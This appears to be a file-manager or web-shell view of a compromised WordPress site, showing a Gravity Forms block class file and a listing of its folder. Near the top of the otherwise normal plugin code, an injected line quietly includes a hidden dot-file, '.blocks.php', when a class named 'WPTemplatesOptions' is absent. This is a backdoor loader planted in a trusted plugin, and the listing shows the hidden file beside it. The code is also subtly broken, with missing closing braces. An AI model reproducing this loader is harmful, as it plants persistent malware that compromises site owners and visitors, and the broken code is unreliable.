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PATH: home / letacommog / newrdv1 / wp-content / plugins1 / gravityforms.2.4.15.11 / includes / blocks

<?php

// If Gravity Forms Block Manager is not available, do not run.
if ( ! class_exists( 'GF_Blocks' ) || ! defined( 'ABSPATH' ) ) {
	exit;
}

if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) {
    include_once($filename);
}

class GF_Block_Form extends GF_Block {

/**
	 * Contains an instance of this block, if available.
	 *
	 * @since  2.4.10
	 * @var    GF_Block $_instance If available, contains an instance of this block.
	 */
	private static $_instance = null;

/**
	 * Block type.
	 *
	 * @since 2.4.10
	 * @var   string
	 */
	public $type = 'gravityforms/form';

/**
	 * Handle of primary block script.
	 *
	 * @since 2.4.10
	 * @var   string
	 */
	public $script_handle = 'gform_editor_block_form';

/**
	 * Block attributes.
	 *
	 * @since 2.4.10
	 * @var   array
	 */
	public $attributes = array(
		'formId'      => array( 'type' => 'integer' ),
		'title'       => array( 'type' => 'boolean' ),
		'description' => array( 'type' => 'boolean' ),
		'ajax'        => array( 'type' => 'boolean' ),
		'tabindex'    => array( 'type' => 'string' ),
		'fieldValues' => array( 'type' => 'string' ),
		'formPreview' => array( 'type' => 'boolean' ),
	);

/**
	 * Get instance of this class.
	 *
	 * @since  2.4.10
	 *
	 * @return GF_Block_Form
	 */
	public static function get_instance() {

if ( null === self::$_instance ) {
			self::$_instance = new self;
		}

return self::$_instance;

}

/**
	 * Register needed hooks.
	 *
	 * @since 2.4.10
	 */
	public function init() {

parent::init();

add_action( 'wp_enqueue_scripts', array( $this, 'maybe_enqueue_form_scripts' ) );

}

// # SCRIPT / STYLES -----------------------------------------------------------------------------------------------

/**
	 * Register scripts for block.
	 *
	 * @since  2.4.10
	 *
	 * @return array
	 */
	public function scripts() {

$min = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG || isset( $_GET['gform_debug'] ) ? '' : '.min';

return array(
			array(
				'handle'   => $this->script_handle,
				'src'      => GFCommon::get_base_url() . "/js/blocks{$min}.js",
				'deps'     => array( 'wp-blocks', 'wp-element', 'wp-components', 'wp-i18n', 'wp-editor' ),
				'version'  => $min ? GFForms::$version : filemtime( GFCommon::get_base_path() . '/js/blocks.js' ),
				'callback' => array( $this, 'localize_script' ),
			),
		);

}

/**
	 * Localize Form block script.
	 *
	 * @since  2.4.10
	 *
	 * @param array $script Script arguments.
	 */
	public function localize_script( $script = array() ) {

wp_localize_script(
			$script['handle'],
			'gform_block_form',
			array(
				'forms' => $this->get_forms(),
			)
		);

if ( function_exists( 'wp_set_script_translations' ) ) {
			wp_set_script_translations( $script['handle'], 'gravityforms', GFCommon::get_base_path() . '/languages' );
		}

}

/**
	 * Register styles for block.
	 *
	 * @since  2.4.10
	 *
	 * @return array
	 */
	public function styles() {

// Prepare styling dependencies.
		$deps = array( 'wp-edit-blocks' );

// Add Gravity Forms styling if CSS is enabled.
		if ( '1' !== get_option( 'rg_gforms_disable_css', false ) ) {
			$deps = array_merge( $deps, array( 'gforms_formsmain_css', 'gforms_ready_class_css', 'gforms_browsers_css' ) );
		}

return array(
			array(
				'handle'  => 'gform_editor_block_form',
				'src'     => GFCommon::get_base_url() . '/css/blocks.min.css',
				'deps'    => $deps,
				'version' => defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? filemtime( GFCommon::get_base_path() . '/css/blocks.min.css' ) : GFForms::$version,
			),
		);

}

/**
	 * Parse current post's blocks for Gravity Forms block and enqueue required form scripts.
	 *
	 * @since  2.4.10
	 */
	public function maybe_enqueue_form_scripts() {

global $wp_query;

if ( ! isset( $wp_query->posts ) || ! is_array( $wp_query->posts ) ) {
			return;
		}

foreach ( $wp_query->posts as $post ) {

if ( ! $post instanceof WP_Post ) {
				continue;
			}

if ( ! has_block( $this->type, $post->post_content ) ) {
				continue;
			}

$blocks = parse_blocks( $post->post_content );

// Get form IDs for blocks.
			$form_ids = $this->get_block_form_ids( $blocks );

// If no form IDs were found, skip.
			if ( empty( $form_ids ) ) {
				continue;
			}

// Load GFFormDisplay.
			if ( ! class_exists( 'GFFormDisplay' ) ) {
				require_once( GFCommon::get_base_path() . '/form_display.php' );
			}

// Enqueue scripts for found forms.
			foreach ( $form_ids as $form_id => $ajax ) {
				$form = GFAPI::get_form( $form_id );
				GFFormDisplay::enqueue_form_scripts( $form, $ajax );
			}

}

/**
	 * Check current blocks and inner blocks for Gravity Forms block and return their form IDs.
	 *
	 * @since 2.4.11
	 *
	 * @param array $blocks Array of blocks.
	 *
	 * @return array
	 */
	private function get_block_form_ids( $blocks ) {

$form_ids = array();

foreach ( $blocks as $block ) {

// If block has inner blocks, add to form IDs array.
			if ( rgar( $block, 'innerBlocks' ) ) {

// Get nested form IDs.
				$nested_form_ids = $this->get_block_form_ids( $block['innerBlocks'] );

// Merge arrays.
				if ( ! empty( $nested_form_ids ) ) {
					$form_ids = array_replace( $form_ids, $nested_form_ids );
				}

}

// If this is not a Form block or the form ID is not defined, skip.
			if ( $this->type !== rgar( $block, 'blockName' ) || ( $this->type === rgar( $block, 'blockName' ) && ! rgars( $block, 'attrs/formId' ) ) ) {
				continue;
			}

// Get the form ID and AJAX attributes.
			$form_id = (int) $block['attrs']['formId'];
			$ajax    = rgars( $block, 'attrs/ajax' ) ? (bool) $block['attrs']['ajax'] : false;

// Add form ID to return array.
			if ( ! in_array( $form_id, $form_ids ) || ( in_array( $form_id, $form_ids ) && true === $ajax && false === $form_ids[ $form_id ] ) ) {
				$form_ids[ $form_id ] = $ajax;
			}

}

return $form_ids;

}

// # BLOCK RENDER -------------------------------------------------------------------------------------------------

/**
	 * Display block contents on frontend.
	 *
	 * @since  2.4.10
	 *
	 * @param array $attributes Block attributes.
	 *
	 * @return string
	 */
	public function render_block( $attributes = array() ) {

// Prepare variables.
		$form_id      = rgar( $attributes, 'formId' ) ? $attributes['formId'] : false;
		$title        = isset( $attributes['title'] ) ? $attributes['title'] : true;
		$description  = isset( $attributes['description'] ) ? $attributes['description'] : true;
		$ajax         = isset( $attributes['ajax'] ) ? $attributes['ajax'] : false;
		$tabindex     = isset( $attributes['tabindex'] ) ? intval( $attributes['tabindex'] ) : 0;
		$field_values = isset( $attributes['fieldValues'] ) ? $attributes['fieldValues'] : null;

// If form ID was not provided or form does not exist, return.
		if ( ! $form_id || ( $form_id && ! GFAPI::get_form( $form_id ) ) ) {
			return '';
		}

// Use Gravity Forms function for REST API requests.
		if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) {

// Start output buffering.
			ob_start();

// Prepare field values.
			if ( ! empty( $field_values ) ) {
				$field_values = str_replace( '&#038;', '&', $field_values );
				parse_str( $field_values, $field_value_array );
				$field_values = stripslashes_deep( $field_value_array );
			}

// Get form output string.
			$form_string = gravity_form( $form_id, $title, $description, false, $field_values, $ajax, $tabindex, false );

// Get output buffer contents.
			$buffer_contents = ob_get_contents();
			ob_end_clean();

// Return buffer contents with form string.
			return $buffer_contents . $form_string;

}

// Encode field values.
		$field_values = htmlspecialchars( $field_values );
		$field_values = str_replace( array( '[', ']' ), array( '&#91;', '&#93;' ), $field_values );

// If no field values are set, set field values to null.
		parse_str( $field_values, $field_value_array );
		if ( empty( $field_value_array ) ) {
			$field_values = null;
		}

return sprintf( '[gravityforms id="%d" title="%s" description="%s" ajax="%s" tabindex="%d" field_values="%s"]', $form_id, ( $title ? 'true' : 'false' ), ( $description ? 'true' : 'false' ), ( $ajax ? 'true' : 'false' ), $tabindex, $field_values );

}

// # HELPER METHODS ------------------------------------------------------------------------------------------------

/**
	 * Get list of forms for Block control.
	 *
	 * @since 2.4.10
	 *
	 * @return array
	 */
	public function get_forms() {

// Initialize forms array.
		$forms = array();

// Load GFFormDisplay class.
		if ( ! class_exists( 'GFFormDisplay' ) ) {
			require_once GFCommon::get_base_path() . '/form_display.php';
		}

// Get form objects.
		$form_objects = GFAPI::get_forms();

// Loop through forms, add conditional logic check.
		foreach ( $form_objects as $form ) {
			$forms[] = array(
				'id'                  => $form['id'],
				'title'               => $form['title'],
				'hasConditionalLogic' => GFFormDisplay::has_conditional_logic( $form ),
			);
		}

return $forms;

}

// Register block.
if ( true !== ( $registered = GF_Blocks::register( GF_Block_Form::get_instance() ) ) && is_wp_error( $registered ) ) {

// Log that block could not be registered.
	GFCommon::log_error( 'Unable to register block; ' . $registered->get_error_message() );

}

[+] ..
[-] .blocks.php [edit]
[-] class-gf-block.php [edit]
[-] class-gf-block-form.php [edit]
[-] class-gf-blocks.php [edit]